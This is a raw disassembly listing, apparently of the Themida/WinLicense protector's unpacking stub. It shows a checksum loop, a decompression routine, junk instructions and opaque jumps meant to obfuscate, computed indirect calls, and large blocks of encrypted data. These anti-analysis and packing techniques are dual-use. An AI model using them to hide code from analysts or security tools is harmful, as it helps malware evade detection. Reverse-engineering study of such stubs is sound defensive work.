		jz	short loc_5862B0
		cmp	al, [edi]
		jnz	short loc_5862FC


loc_5862B0:				; CODE XREF: sub_586067+243j
		push	edi
		xor	al, al


loc_5862B3:				; CODE XREF: sub_586067+24Dj
		scasb
		jnz	short loc_5862B3
		pop	esi
		sub	edi, ebx
		push	edx
		cld
		xor	ecx, ecx
		dec	ecx
		mov	edx, ecx


loc_5862C0:				; CODE XREF: sub_586067+282j
		xor	eax, eax
		xor	ebx, ebx
		lodsb
		xor	al, cl
		mov	cl, ch
		mov	ch, dl
		mov	dl, dh
		mov	dh, 8


loc_5862CF:				; CODE XREF: sub_586067+27Bj
		shr	bx, 1
		rcr	ax, 1
		jnb	short loc_5862E0
		xor	ax, 5041h
		xor	bx, 5449h


loc_5862E0:				; CODE XREF: sub_586067+26Ej
		dec	dh
		jnz	short loc_5862CF
		xor	ecx, eax
		xor	edx, ebx
		dec	edi
		jnz	short loc_5862C0
		not	edx
		not	ecx
		mov	eax, edx
		rol	eax, 10h
		mov	ax, cx
		pop	edx
		cmp	edx, eax
		jz	short loc_58630B


loc_5862FC:				; CODE XREF: sub_586067+247j
		pop	esi
		add	esi, 4
		inc	dword ptr [ebp+7E412D1h]
		jmp	loc_58627A
; ---------------------------------------------------------------------------


loc_58630B:				; CODE XREF: sub_586067+293j
		pop	esi
		jmp	loc_586320
; ---------------------------------------------------------------------------
		db 17h,	85h, 72h
		dd 46E32429h, 0A80216A0h, 0C5B98C77h
; ---------------------------------------------------------------------------


loc_586320:				; CODE XREF: sub_586067+2A5j
		mov	[ebp+7E4063Dh],	ebx
		mov	eax, [ebp+7E412D1h]
		mov	[ebp+7E42A5Dh],	ebx
		shl	eax, 1
		mov	[ebp+7E43331h],	ebx
		add	eax, [ebp+7E41AF9h]
		cmc
		clc
		sub	esi, esi
		pusha
		push	ebx
		mov	[ebp+7E40A99h],	edx
		pop	ecx
		and	ecx, 79757602h
		popa
		xchg	eax, esi
		mov	[ebp+7E43031h],	eax
		lodsw
		or	[ebp+7E4166Dh],	eax
		shl	eax, 2
		or	[ebp+7E42B05h],	edx
		jmp	loc_58637C
; ---------------------------------------------------------------------------
		mov	[ecx+esi*4-36h], cl
		sub	edx, [esi+ebx*8+1DA46258h]


loc_58637C:				; CODE XREF: sub_586067+305j
		add	eax, [ebp+7E4090Dh]
		jg	loc_58639C
		jmp	loc_58639C
; ---------------------------------------------------------------------------
		db 2Fh,	1Ah, 5Dh
		dd 3CB2D88h, 987063C4h,	0C84E4C4Fh
; ---------------------------------------------------------------------------


loc_58639C:				; CODE XREF: sub_586067+31Bj
					; sub_586067+321j
		xchg	eax, esi
		pusha
		and	edi, 4D8B11B6h
		mov	[ebp+7E41F21h],	esi
		popa
		lodsd
		jmp	loc_5863B6
; ---------------------------------------------------------------------------
		or	al, 0D6h
		or	al, 0BCh
		scasb


loc_5863B6:				; CODE XREF: sub_586067+345j
		mov	ecx, [esp+20h+arg_FFFFFFFC]
		or	[ebp+7E4156Dh],	ebx
		add	eax, [esp+20h+arg_FFFFFFFC]
		sub	[ebp+7E40DADh],	edx
		mov	[esp+20h+var_4], eax
		js	loc_5863D5
		stc


loc_5863D5:				; CODE XREF: sub_586067+367j
		jnb	loc_5863E1
		mov	[ebp+7E42365h],	edx


loc_5863E1:				; CODE XREF: sub_586067:loc_5863D5j
		xchg	eax, esi
		mov	[ebp+7E4165Dh],	eax
		stc
		lodsb
		pusha
		jle	loc_5863F6
		sbb	ax, 0B717h


loc_5863F6:				; CODE XREF: sub_586067+384j
		popa
		xor	cl, cl
		pusha
		jle	loc_586402
		push	ebx
		pop	ecx


loc_586402:				; CODE XREF: sub_586067+393j
		popa
		inc	cl
		jnp	loc_586424
		jz	loc_586424
		jmp	loc_586424
; ---------------------------------------------------------------------------
		dw 0EAE7h
; ---------------------------------------------------------------------------
		xor	eax, 0D03E208h
		pop	eax
		sub	eax, [edx+7CF68B79h]


loc_586424:				; CODE XREF: sub_586067+39Ej
					; sub_586067+3A4j ...
		rcl	al, 1
		jnb	loc_5864CC
		cld
		rcl	al, 1
		jnb	loc_5864CC
		cmc
		pusha
		add	[ebp+7E41B21h],	esi
		sub	[ebp+7E408A1h],	eax
		popa
		rcl	al, 1
		jb	loc_5864CC
		sub	[ebp+7E42309h],	edx
		rcl	al, 1
		jb	loc_5864CC
		or	[ebp+7E40E4Dh],	edx
		cld
		dec	cl
		jns	loc_586424
		pusha
		stc
		popa
		add	esp, 20h
		mov	[ebp+7E41429h],	eax
		mov	dword ptr [esp-4], 0
		pusha
		add	[ebp+7E40299h],	edi
		sub	[ebp+7E40EFDh],	ebx
		popa
		mov	eax, 1
		jmp	loc_58649B
; ---------------------------------------------------------------------------
		db 39h,	0D7h, 80h
		db 82h,	0B0h, 68h
; ---------------------------------------------------------------------------


loc_58649B:				; CODE XREF: sub_586067+429j
		jmp	loc_5864B2
; ---------------------------------------------------------------------------
		xor	eax, 81403D91h
		add	al, 74h
		cmp	eax, 21B46085h
		pop	edx
		imul	ch
		retn
; ---------------------------------------------------------------------------
		db 0CCh
		db 2Ch
; ---------------------------------------------------------------------------


loc_5864B2:				; CODE XREF: sub_586067:loc_58649Bj
		lea	ecx, [ebp+7E472B7h]
		sub	[ebp+7E42025h],	esi
		jmp	ecx
; ---------------------------------------------------------------------------
		jmp	loc_5864CC
; ---------------------------------------------------------------------------
		db 0A2h, 2Eh, 7Ah
		dd 13495F31h
; ---------------------------------------------------------------------------


loc_5864CC:				; CODE XREF: sub_586067+3BFj
					; sub_586067+3C8j ...
		mov	byte ptr [ebp+7E42C2Dh], 0
		cld
		popa
		pusha
		mov	esi, [ebp+7E41D6Dh]
		sub	ecx, 4AD2EB02h
		popa
		retn	8
sub_586067	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		dw 9D89h
		dd 7E41979h
dword_5864EC	dd 50525050h, 0F616052h, 0BE931h, 5B220000h, 1E08F1F3h
					; DATA XREF: Themida_:00584838o
		dd 7C58283Fh, 0F585A92h, 0EE931h, 0B0330000h, 0B7D08BD3h
		dd 0CC3FE22Ch, 8C353668h, 3489585Ah, 1E860F24h,	0F000000h
		dd 188Ah, 13E900h, 0CC50000h, 0F64CD755h, 4128CEBFh, 0A4B94DBBh
		dd 410C9122h, 8AB58937h, 0E907E442h, 0Ah, 32BAF8E8h, 0CA64B211h
		dd 8D898360h, 7E44295h,	6840Fh,	0BD010000h, 7E41945h, 410BB58Dh
		dd 8DFC07E4h, 5B8EA185h, 0D0FFFC00h, 0B5B58960h, 6007E41Ah
		dd 6161C8B6h, 0EDBD095Eh, 0C307E418h, 243DB589h, 0B58B07E4h
		dd 7E4428Ah, 0F858589h,	8D8B07E4h, 7E44295h, 68A0Fh, 0B5090000h
		dd 7E42B69h, 0B8h, 168A0F00h, 0F000000h, 108Fh,	0BE900h
		dd 4200000h, 8D1E66E5h,	0CC306876h, 0E9D98B8Bh,	8, 29E5735h
		dd 2BC81AE0h, 0ECE9h, 6800F00h,	89000000h, 0E40DED8Dh
		dd 29263207h, 0E40EA58Dh, 0F902B207h, 8CE9h, 1D860F00h
		dd 60000000h, 10E9h, 987BA500h,	3ED2A770h, 0AE380F4Ch
		dd 95337C87h, 0B19D897Ch, 6107E406h, 60FCC232h,	68D0Fh
		dd 0DF810000h, 27FFFD2h, 3BC78166h, 7A056111h, 298A751Dh
		dd 0E42AE195h, 85B58907h, 8A07E409h, 850B60CCh,	7E4140Dh
		dd 0FCC8D361h, 0D1084235h, 14E998h, 6A2C0000h, 7712847Dh
		dd 49D92D96h, 32F19DC5h, 0E4A40B56h, 0CAFE6346h, 10E9h
		dd 0A435DE00h, 2C3B319Eh, 3D253766h, 0A1672D0Ch, 0FD20A55h
		dd 0FFFF8F85h, 0C800FFFh, 0F000000h, 687h, 0A9853100h
		dd 4B07E40Bh, 11E9h, 0CE67A400h, 0E7BA6760h, 821D5FA5h
		dd 89967BEBh, 146C0CDh,	0E41CD59Dh, 68E0F07h, 31000000h
		dd 0E40D898Dh, 0FDB0B07h, 0FFFF1885h, 0E800FFFh, 60000000h
		dd 159D8Bh, 870F07E4h, 0
		dd 11E9CF61h, 72000000h, 4FAD12EAh, 0EDD77C8Bh,	0DA3D931Ah
		dd 4D1D4049h, 8E9h, 959BE500h, 8B892C74h, 29000066h, 0E420C995h
		dd 0FC000007h, 66600000h, 22BAC781h, 8D0F6061h,	3, 66D0BF0Fh
		dd 0A0E5DF81h, 0F9000061h, 3BDC858Dh, 12E907E4h, 91000000h
		dd 878261E5h, 0D88300h,	6C81D8EAh, 73FFA96Ch, 81BD8987h
		dd 8907E400h, 0E41E3985h, 6E907h, 9CF70000h, 0CB4BE497h
		dd 4061858Dh, 89FC07E4h, 0E423AD85h, 14EB07h, 3	dup(0)
		dd 0E4000000h, 8D000000h, 0E443C885h, 0AD858907h, 8307E418h
		dd 0E44300BDh, 840F0007h, 12Bh,	2C2D85C6h, 0E85607E4h
		dd 4, 0D41F6D39h, 24448B50h, 89008B04h,	58042444h, 19DB5FFh
		dd 858D07E4h, 7E43BDCh,	8589D0FFh, 7E442F4h, 2C2D85C6h
		dd 0E85607E4h, 4, 9CA8B852h, 24448B50h,	89008B04h, 58042444h
		dd 19DB5FFh, 858D07E4h,	7E43BDCh, 8589D0FFh, 7E442F8h
		dd 7C68046Ah, 8170F240h, 507C2434h, 858B70F2h, 7E44304h
		dd 1F405h, 2E0C100h, 6A905090h,	0F895FF00h, 8907E442h
		dd 0E442FC85h, 0B8D88B07h, 0FFFFFFFFh, 18AD95FFh, 0C38B07E4h
		dd 18AD95FFh, 84E907E4h
		db 3 dup(0)
; ---------------------------------------------------------------------------


loc_586853:				; DATA XREF: Themida_:00583D38o
		cmp	dword ptr [ebp+7E44300h], 0
		jnz	loc_586861
		retn
; ---------------------------------------------------------------------------


loc_586861:				; CODE XREF: Themida_:0058685Aj
		push	edi
		mov	edi, [ebp+7E442FCh]
		stosd
		add	dword ptr [ebp+7E442FCh], 4
		pop	edi
		retn
; ---------------------------------------------------------------------------
		cmp	dword ptr [ebp+7E44300h], 0
		jnz	loc_586880
		retn
; ---------------------------------------------------------------------------


loc_586880:				; CODE XREF: Themida_:00586879j
		pusha
		sub	dword ptr [ebp+7E442FCh], 4


loc_586888:				; CODE XREF: Themida_:loc_5868D2j
		mov	ebx, [ebp+7E442FCh]
		cmp	dword ptr [ebx-4], 0FFFFFFFFh
		jnz	loc_5868B5
		push	11A3F31h
		xor	dword ptr [esp], 11ABF31h
		push	0
		push	dword ptr [ebx]
		call	dword ptr [ebp+7E442F4h]
		popa
		retn
; ---------------------------------------------------------------------------
		jmp	loc_5868D2
; ---------------------------------------------------------------------------


loc_5868B5:				; CODE XREF: Themida_:00586892j
		push	494F9D4h
		xor	dword ptr [esp], 49479D4h
		push	0
		push	dword ptr [ebx]
		call	dword ptr [ebp+7E442F4h]
		sub	dword ptr [ebp+7E442FCh], 4


loc_5868D2:				; CODE XREF: Themida_:005868B0j
		jmp	loc_586888
; ---------------------------------------------------------------------------
		dec	eax
		jmp	loc_586A8A
; ---------------------------------------------------------------------------
		pusha
		mov	esi, [esp+24h]
		mov	edi, [esp+28h]
		cld
		mov	dl, 80h


loc_5868E9:				; CODE XREF: Themida_:loc_586901j
		mov	al, [esi]
		inc	esi
		mov	[edi], al
		inc	edi
		mov	ebx, 2


loc_5868F4:				; CODE XREF: Themida_:0058697Fj
					; Themida_:005869E7j ...
		add	dl, dl
		jnz	loc_586901
		mov	dl, [esi]
		inc	esi
		adc	dl, dl


loc_586901:				; CODE XREF: Themida_:005868F6j
		jnb	loc_5868E9
		add	dl, dl
		jnz	loc_586914
		mov	dl, [esi]
		inc	esi
		adc	dl, dl


loc_586914:				; CODE XREF: Themida_:00586909j
		jnb	loc_586984
		xor	eax, eax
		add	dl, dl
		jnz	loc_586929
		mov	dl, [esi]
		inc	esi
		adc	dl, dl


loc_586929:				; CODE XREF: Themida_:0058691Ej
		jnb	loc_586A59
		add	dl, dl
		jnz	loc_58693C
		mov	dl, [esi]
		inc	esi
		adc	dl, dl


loc_58693C:				; CODE XREF: Themida_:00586931j
		adc	eax, eax
		add	dl, dl
		jnz	loc_58694B
		mov	dl, [esi]
		inc	esi
		adc	dl, dl


loc_58694B:				; CODE XREF: Themida_:00586940j
		adc	eax, eax
		add	dl, dl
		jnz	loc_58695A
		mov	dl, [esi]
		inc	esi
		adc	dl, dl


loc_58695A:				; CODE XREF: Themida_:0058694Fj
		adc	eax, eax
		add	dl, dl
		jnz	loc_586969
		mov	dl, [esi]
		inc	esi
		adc	dl, dl


loc_586969:				; CODE XREF: Themida_:0058695Ej
		adc	eax, eax
		jz	loc_586977
		push	edi
		sub	edi, eax
		mov	al, [edi]
		pop	edi


loc_586977:				; CODE XREF: Themida_:0058696Bj
		mov	[edi], al
		inc	edi
		mov	ebx, 2
		jmp	loc_5868F4
; ---------------------------------------------------------------------------


loc_586984:				; CODE XREF: Themida_:loc_586914j
		mov	eax, 1


loc_586989:				; CODE XREF: Themida_:loc_5869A5j
		add	dl, dl
		jnz	loc_586996
		mov	dl, [esi]
		inc	esi
		adc	dl, dl


loc_586996:				; CODE XREF: Themida_:0058698Bj
		adc	eax, eax
		add	dl, dl
		jnz	loc_5869A5
		mov	dl, [esi]
		inc	esi
		adc	dl, dl


loc_5869A5:				; CODE XREF: Themida_:0058699Aj
		jb	loc_586989
		sub	eax, ebx
		mov	ebx, 1
		jnz	loc_5869EC
		mov	ecx, 1


loc_5869BD:				; CODE XREF: Themida_:loc_5869D9j
		add	dl, dl
		jnz	loc_5869CA
		mov	dl, [esi]
		inc	esi
		adc	dl, dl


loc_5869CA:				; CODE XREF: Themida_:005869BFj
		adc	ecx, ecx
		add	dl, dl
		jnz	loc_5869D9
		mov	dl, [esi]
		inc	esi
		adc	dl, dl


loc_5869D9:				; CODE XREF: Themida_:005869CEj
		jb	loc_5869BD
		push	esi
		mov	esi, edi
		sub	esi, ebp
		rep movsb
		pop	esi
		jmp	loc_5868F4
; ---------------------------------------------------------------------------


loc_5869EC:				; CODE XREF: Themida_:005869B2j
		dec	eax
		shl	eax, 8
		mov	al, [esi]
		inc	esi
		mov	ebp, eax
		mov	ecx, 1


loc_5869FA:				; CODE XREF: Themida_:loc_586A16j
		add	dl, dl
		jnz	loc_586A07
		mov	dl, [esi]
		inc	esi
		adc	dl, dl


loc_586A07:				; CODE XREF: Themida_:005869FCj
		adc	ecx, ecx
		add	dl, dl
		jnz	loc_586A16
		mov	dl, [esi]
		inc	esi
		adc	dl, dl


loc_586A16:				; CODE XREF: Themida_:00586A0Bj
		jb	loc_5869FA
		cmp	eax, 7D00h
		jnb	loc_586A49
		cmp	eax, 500h
		jb	loc_586A40
		inc	ecx
		push	esi
		mov	esi, edi
		sub	esi, eax
		rep movsb
		pop	esi
		jmp	loc_5868F4
; ---------------------------------------------------------------------------


loc_586A40:				; CODE XREF: Themida_:00586A2Cj
		cmp	eax, 7Fh
		ja	loc_586A4C


loc_586A49:				; CODE XREF: Themida_:00586A21j
		add	ecx, 2


loc_586A4C:				; CODE XREF: Themida_:00586A43j
		push	esi
		mov	esi, edi
		sub	esi, eax
		rep movsb
		pop	esi
		jmp	loc_5868F4
; ---------------------------------------------------------------------------


loc_586A59:				; CODE XREF: Themida_:loc_586929j
		mov	al, [esi]
		inc	esi
		xor	ecx, ecx
		shr	al, 1
		jz	loc_586A7E
		adc	ecx, 2
		mov	ebp, eax
		push	esi
		mov	esi, edi
		sub	esi, eax
		rep movsb
		pop	esi
		mov	ebx, 1
		jmp	loc_5868F4
; ---------------------------------------------------------------------------


loc_586A7E:				; CODE XREF: Themida_:00586A61j
		sub	edi, [esp+28h]
		mov	[esp+1Ch], edi
		popa
		retn	8
; ---------------------------------------------------------------------------


loc_586A8A:				; CODE XREF: Themida_:005868D8j
		mov	edx, 929h
		jmp	loc_587467
; ---------------------------------------------------------------------------
		dd 0C26CD903h, 0ADE14B36h, 5C8B9782h, 971CBED6h, 0B5D308B9h
		dd 0F874504Dh, 7A314728h, 9AFEC71h, 0CF6CFF5Eh,	0A5ED093Dh
		dd 0FD98090h, 0D21BACC7h, 0D6BC43B6h, 0EC7E5A3Dh, 283D4635h
		dd 0FADEC71h, 0CF6CFC51h, 0B8F20927h, 11D99F8Ah, 0C500B2DBh
		dd 0B5D74DA2h, 0E8691609h, 7A705735h, 0FB8A270h, 0D66CEA45h
		dd 0B8F34621h, 0D79F84h, 63h dup(0)
		dd 0CB6CD903h, 0BEFD473Ch, 0CD9808Ah, 0C508B0CCh, 0B39600BAh
		dd 0EF3B450Ch, 287F4623h, 0EB4ED62h, 0D33EB854h, 0A4FD473Dh
		dd 1290D282h, 0C200A69Eh, 0A2C54DA9h, 0E07E421Eh, 581C2968h
		dd 13A0E768h, 0D36CB455h, 0ABFB453Dh, 890D281h,	0D81DB99Eh
		dd 0BEDB4DB6h, 0F4695900h, 6C7F4266h, 13A4F024h, 0D23EF944h
		dd 0BFFB5073h, 0E89D297h, 0D61DB8D1h, 43B6h, 48h dup(0)
		dd 0C56CD903h, 0A1F74821h, 0FDE8080h, 0D800AB9Eh, 0BADE4DB7h
		dd 0E879161Eh, 6E314D23h, 4AFF76Bh, 0C839EA10h,	0ADFA403Dh
		dd 5C979BC5h, 0C51AB0C7h, 0A8CF1EFBh, 0A3765319h, 64412E4Ch
		dd 5B2E361h, 0C839B81Ch, 0AEF5463Fh, 5C8D9BC5h,	0DA00ADD8h
		dd 0B6D300FBh, 0AD624402h, 28754D27h, 14B2E776h, 8638EA51h
		dd 0B8E1462Ah, 138B82C5h, 0DA0EADD9h, 0F5h, 61h	dup(0)
		dd 0CA25DE03h, 0A5F70936h, 0C8C8097h, 960BBACAh, 0B3E24DF5h
		dd 0FD3B4504h, 7A764C34h, 8E1EF65h, 0C46CEB51h,	0EAFA4C36h
		dd 15979388h, 0D603AACEh, 0FBD208AFh, 0AD7F580Ch, 6A68422Bh
		dd 9CC8861h, 863FBF44h,	0AFF2473Ah, 189C8686h, 9716BD9Eh
		dd 0B2E04DBAh, 0AD68431Fh, 6B315129h, 0BA2E376h, 8662FC55h
		dd 0B9FD4107h, 109094C5h, 0D818FFDBh, 0FBC24AB5h, 0E669591Ah
		dd 717F4266h, 5B3ED69h,	1Eh, 0E0h dup(0)
aWlnumdllsprot	db 'WLNumDLLsProt',0
a0		db '0',0
		dd 8 dup(0)
		dd 78450000h, 53207469h, 75746174h, 203D2073h, 6425h, 0
		db 3 dup(0)
; ---------------------------------------------------------------------------


loc_587467:				; CODE XREF: Themida_:00586A8Fj
		jmp	loc_589FA0
; ---------------------------------------------------------------------------
		sub	edx, 659F12B1h
		cld
		or	[ebp+7E42B61h],	edx
		mov	eax, eax
		mov	ebx, [ebp+7E40B1Dh]
		cmp	dword ptr [ebp+7E413F1h], 0
		jnz	short loc_587493
		cmp	dword ptr [ebp+7E40935h], 0
		jz	short loc_5874A6


loc_587493:				; CODE XREF: Themida_:00587488j
		push	eax
		push	ebx
		mov	eax, eax
		mov	eax, 1
		lea	ebx, [ebp+7E6E892h]
		call	ebx	; _iob
		pop	ebx
		pop	eax


loc_5874A6:				; CODE XREF: Themida_:00587491j
		cmp	dword ptr [ebp+7E40935h], 0
		jz	short loc_5874C0
		push	eax
		push	ebx
		mov	eax, 1
		lea	ebx, [ebp+7E6E743h]
		call	ebx	; _iob
		pop	ebx
		pop	eax


loc_5874C0:				; CODE XREF: Themida_:005874ADj
		and	ebx, [ebp+7E42039h]
		add	[ebp+7E42629h],	edi
		mov	eax, eax
		push	0
		push	esi
		call	sub_5874D9
		and	[esi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5874D9	proc near		; CODE XREF: Themida_:005874D1p

arg_4		= dword	ptr  8

		pop	esi
		mov	[esp-4+arg_4], esi
		add	[esp-4+arg_4], 1Bh
		inc	esi
		push	esi
		retn
sub_5874D9	endp

; ---------------------------------------------------------------------------
		xor	byte ptr [edx],	0CFh
		adc	al, 0F0h
		xchg	eax, ebp
		sti
		fisub	word ptr [esi-7Fh]
		retn
; ---------------------------------------------------------------------------
		dd 0BD838363h, 7E40ECDh, 0FA840F00h, 66000000h,	0BD83DA8Bh
		dd 7E41CDDh, 0EA840F00h, 66000000h, 0EEAED381h,	95852960h
		dd 8B07E41Fh, 0E41CDD85h, 0E805F507h, 89000003h, 0E40D9995h
		dd 66609007h, 61CD37BAh, 0BE950h, 0EBA80000h, 0E72B1B69h
		dd 53BCFF0Ch, 958B9046h, 7E41625h, 4FC3858Dh, 0F48A07E4h
		dd 575390F5h, 5A5AFE8Ah, 90FA8A50h, 198C0Fh, 14E90000h
		dd 0FD000000h, 0F7543B39h, 83A079E9h, 0B5D14238h, 9C65F51Fh
		dd 8B33D67Dh, 0A1858DD1h, 0BB07E44Fh, 1056CC38h, 10E990h
		dd 31A10000h, 34B337D4h, 868B697Bh, 18D86B27h, 0B750E8F5h
		dd 0BA669089h, 95FF395Dh, 7E42169h, 0C483D78Bh,	4195290Ch
		dd 8D07E418h, 0E44FA185h, 459D8B07h, 5007E40Fh,	800F5250h
		dd 6, 880Fh, 310F0000h,	585ADF8Bh, 6A240489h, 68E0F02h
		dd 89000000h, 0E41FED8Dh, 1495FF07h, 0FC006AEDh, 0FB75761h
		dd 0D485C75Bh, 107E44Fh, 6A000000h, 3E85300h, 20000000h
		dd 895BC35Bh, 8104245Ch, 1B042444h, 43000000h, 0E5CBC353h
		dd 3B0884C3h, 8A0F7F35h, 2, 830F66B7h, 6, 2ED9958Bh, 579607E4h
		dd 0AE960h, 5EA40000h, 578C159Ah, 0DB13866Fh, 8B505A61h
		dd 6A96D3h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1A0424h
		dd 53430000h, 0B62B3CC3h, 16A50C35h, 12E9h, 0A56F8C00h
		dd 0FEA14E57h, 4C68524Fh, 4E647691h, 3134150h, 0E4275595h
		dd 85B58907h, 0F07E44Fh, 58Eh, 0E9A5BA00h, 0BD8349AAh
		dd 7E42015h, 68850F01h,	6A000000h, 3E85500h, 20000000h
		dd 895DC35Dh, 8104246Ch, 15042444h, 45000000h, 77D4C355h
		dd 1881958Bh, 0BA6607E4h, 0F8838761h, 38850F05h, 8B000000h
		dd 0B8D1h, 6A0000h, 3E856h, 5E200000h, 74895EC3h, 44810424h
		dd 1D0424h, 56460000h, 79C1B7C3h, 0F4DA1608h, 89D590CAh
		dd 0E426899Dh, 9D850907h, 8307E42Fh, 0E40AC5BDh, 840F0007h
		dd 94h,	0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 16h
		dd 23C35747h, 6A608D83h, 3E85100h, 20000000h, 8959C359h
		dd 8104244Ch, 15042444h, 41000000h, 9E50C351h, 4CBF60h
		dd 0BD892CBDh, 7E405D5h, 0C595FF61h, 6A07E40Ah,	3E85000h
		dd 20000000h, 8958C358h, 81042444h, 1B042444h, 40000000h
		dd 60AEC350h, 1EB4007h,	12E86173h, 9D000000h, 0B39B1B39h
		dd 27962158h, 0CBEFBBBBh, 0DEF0F7C5h, 67C3805Ch, 952B615Bh
		dd 7E41AADh, 6B9BD83h, 0F0007E4h, 3784h, 55006A00h, 3E8h
		dd 0C35D2000h, 246C895Dh, 24448104h, 1A04h, 0C3554500h
		dd 0F5872D2Ch, 8B529ADDh, 0B8D0h, 9E90000h, 0A8000000h
		dd 0E5617ED9h, 4462B871h, 8B62B260h, 0E41EB585h, 83FD8A07h
		dd 0CA8102C0h, 2DC1918h, 4F7D8589h, 6A07E4h, 3E850h, 58200000h
		dd 448958C3h, 44810424h, 160424h, 50400000h, 0CE3528C3h
		dd 188D0Fh, 0CE80000h, 6000000h, 0FF808A05h, 44681A80h
		dd 89B38904h, 0E42C0D9Dh, 0C65A07h, 0DE8FFh, 314C0000h
		dd 77A46C99h, 0B9460AE8h, 0E9D5C0AFh, 0Eh, 0AC3E32A9h
		dd 0A425CCEAh, 82F747CEh, 0C65A1A4Dh, 0E42C2D85h, 958B5307h
		dd 7E40DDDh, 1A121768h,	0A8E0FD2h, 60000000h, 820Fh, 61600000h
		dd 24048161h, 2A9736C1h, 13959D89h, 0B5FF07E4h,	7E42141h
		dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 15h, 90C35747h
		dd 0DCB81E6h, 8D72E13Eh, 0E7B0A785h, 88F0F07h, 0F000000h
		dd 280h, 0FF616000h, 52006AD0h,	3E8h, 0C35A2000h, 2454895Ah
		dd 24448104h, 1404h, 0C3524200h, 0E9D98B6Fh, 8,	2EC002BEh
		dd 6329EBE8h, 0E418589h, 0BA6607E4h, 0BD83F55Dh, 7E40B11h
		dd 0F7850F01h, 0B7000000h, 9D8B61A6h, 7E42541h,	2DCD8501h
		dd 85C607E4h, 7E42C2Dh,	65953345h, 8907E41Ch, 0E422359Dh
		dd 4E807h, 38C20000h, 13E8DA60h, 0EE000000h, 0C96407B4h
		dd 1D8B3E4Bh, 0D460E516h, 0B782B194h, 0BB664D6Eh, 505A1AF4h
		dd 5820Fh, 8ABA0000h, 8B2F6218h, 50042444h, 2EBB6652h
		dd 66310FA2h, 5A20CCBAh, 60008B58h, 28F0Fh, 61600000h
		dd 0D774FBB9h, 44896155h, 1CBB0424h, 5802C27Eh,	0E850006Ah
		dd 3, 58C35820h, 4244489h, 4244481h, 17h, 0B5C35040h, 8BB30F6Dh
		dd 41B5FFD7h, 8B07E421h, 0E4229595h, 0A7858D07h, 6A07E7B0h
		dd 3E85700h, 20000000h,	895FC35Fh, 8104247Ch, 14042444h
		dd 47000000h, 6014C357h, 0AAC98166h, 0B1B589E9h, 6107E413h
		dd 0D0FF41B3h, 6A33D780h, 119D3100h, 0F07E40Ah,	0D0FFD0BFh
		dd 2CC3EB81h, 0BD832EE8h, 7E403C9h, 0E7850F01h,	66000000h
		dd 0E940DA81h, 1EB5858Bh, 10E907E4h, 51000000h,	9035E212h
		dd 23591956h, 2F1BEDDEh, 0E8280E65h, 8,	481247h, 0B0D9C2FAh
		dd 251958Bh, 0E95A07E4h, 90h, 1CF59D8Bh, 505007E4h, 97BA6652h
		dd 8B310FFDh, 89585ADAh, 6A2404h, 3E856h, 5E200000h, 74895EC3h
		dd 44810424h, 1C0424h, 56460000h, 86D175C3h, 3D4CB49Dh
		dd 0DA81C76Dh, 25DF612Bh, 0EFAFBB66h, 6A146Ah, 3E853h
		dd 5B200000h, 5C895BC3h, 44810424h, 1D0424h, 53430000h
		dd 942C31C3h, 570B97A9h, 0F620BE4h, 481h, 40BA6600h, 4195FF5Ah
		dd 107E40Eh, 0E40B8995h, 8B0F5807h, 6, 20218D31h, 0F1B307E4h
		dd 0F003880h, 0FFFF6D85h, 8D8D89FFh, 0C607E40Eh, 0BD890100h
		dd 7E40FA1h, 35819D8Bh,	0E96107E4h, 12h, 0AA62018h, 2D08B6D4h
		dd 6F18324Bh, 83306511h, 0BD837008h, 7E40069h, 37840F00h
		dd 0E9000000h, 0Dh, 0AD82975Ah,	53A3867Fh, 4CEA2C7Fh, 8C0F1Bh
		dd 6A000000h, 319531FFh, 0FF07E426h, 0E40E4195h, 48D0F07h
		dd 52000000h, 0E95A6160h, 0FFFFFFE3h, 85C7DF8Bh, 7E40069h
		dd 1, 0AEE28166h, 898589BAh, 8B07E44Fh,	665390D6h, 505BD68Bh
		dd 2DBA5250h, 0F1715EBh, 2EBA6631h, 90585A34h, 10E85751h
		dd 78000000h, 4D4D8775h, 7F6C7A8Bh, 59B350Fh, 5BB004CDh
		dd 66605A5Ah, 890283BEh, 0E4258D85h, 8B606107h,	0E4090595h
		dd 7E907h, 773B0000h, 9BD8B4C9h, 6A056A5Eh, 3E85200h, 20000000h
		dd 895AC35Ah, 81042454h, 16042444h, 42000000h, 1E1C352h
		dd 958B5289h, 7E40A8Dh,	0A1858D5Bh, 8B07E44Fh, 0E401C195h
		dd 85958B07h, 5007E414h, 89D98B66h, 8D892404h, 7E40701h
		dd 4F91858Dh, 870F07E4h, 6, 6819D8Bh, 509007E4h, 13E8h
		dd 80489200h, 65C51CDh,	0C127CC0Ch, 33B55D49h, 55846EFCh
		dd 5B5B6160h, 10E850h, 0C5F40000h, 8C77B1Ah, 97F48D04h
		dd 0D02C8DACh, 0BA57782Eh, 51E124D0h, 6A905A5Ah, 3E85600h
		dd 20000000h, 895EC35Eh, 81042474h, 15042444h, 46000000h
		dd 0C396C356h, 13AD95FFh, 6A07E4h, 3E850h, 58200000h, 448958C3h
		dd 44810424h, 190424h, 50400000h, 5E7ACDC3h, 8B3D9990h
		dd 0E4272D95h, 0C08D8D07h, 8907E47Ah, 0E41E99B5h, 74C00B07h
		dd 0A1858D11h, 5007E44Fh, 8589D1FFh, 7E44FBFh, 85C70AEBh
		dd 7E44FBFh, 0FFFFFFFFh, 6850Fh, 0B5290000h, 7E42E05h
		dd 0E98D0961h, 0C607E431h, 0E42C2D85h, 8D294D07h, 7E41BADh
		dd 35BBC068h, 81DE8B27h, 0BAE82404h, 9D8B7CFFh,	7E40B1Dh
		dd 0E432BB66h, 1D89B5FFh, 810F07E4h, 1,	0A7858DF5h, 5607E7B0h
		dd 12C18589h, 8B5A07E4h, 0BAD0FFDFh, 46AE3D13h,	21618589h
		dd 950B07E4h, 7E421DDh,	2C2D85C6h, 6A4507E4h, 3E85500h
		dd 20000000h, 895DC35Dh, 8104246Ch, 16042444h, 45000000h
		dd 23CCC355h, 9D950B23h, 6807E41Bh, 0CC444797h,	5890Fh
		dd 0C4BA0000h, 814B1C26h, 2EFE2434h, 0EA814236h, 60AA13CBh
		dd 2141B5FFh, 958907E4h, 7E42451h, 0B0A7858Dh, 0BB6607E7h
		dd 0D0FF8321h, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h
